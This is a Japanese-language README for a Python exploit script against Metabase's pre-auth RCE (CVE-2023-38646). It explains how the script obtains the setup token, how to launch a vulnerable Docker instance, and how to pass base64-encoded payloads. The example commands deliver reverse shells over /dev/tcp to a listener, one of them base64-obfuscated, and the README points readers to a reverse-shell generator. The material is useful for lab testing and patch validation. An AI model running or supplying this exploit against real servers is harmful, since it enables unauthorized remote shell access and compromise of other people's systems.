
CVE-2023-38646 Metabase Pre-Auth RCE via SQL injectionを悪用するPythonスクリプト
CVE-2023-38646 Metabase Pre-Auth RCE(SQLインジェクション経由)を悪用するPythonスクリプト
このスクリプトは、/api/session/propertiesにGETリクエストを送信し、セットアップトークンを取得してターゲットの悪用可能性を評価します。脆弱な場合、セットアップトークンを表示します。脆弱でない場合はエラーメッセージを表示して終了します。
-xオプションが使用され、ターゲットが脆弱な場合、指定されたペイロードを使用して脆弱性を悪用しようとします。
詳細は、脆弱性を発見したチームによる素晴らしい記事をご覧ください: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url
Metabase Pre-Auth RCE Exploit
positional arguments:
url Url of the metabase instance
optional arguments:
-h, --help Show this help message and exit
-x BASE64_PAYLOAD Exploits the vulnerability
必要に応じて、以下のコマンドを使用してDockerコンテナでテスト環境をすばやく起動できます:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
http://127.0.0.1:3000/ にアクセスしてセットアップを完了し、リスナーを起動した後、
以下のようにRCEを悪用できます:
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/
# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
または、revshells.com にアクセスして自分でbase64エンコードされたリバースシェルを取得してください。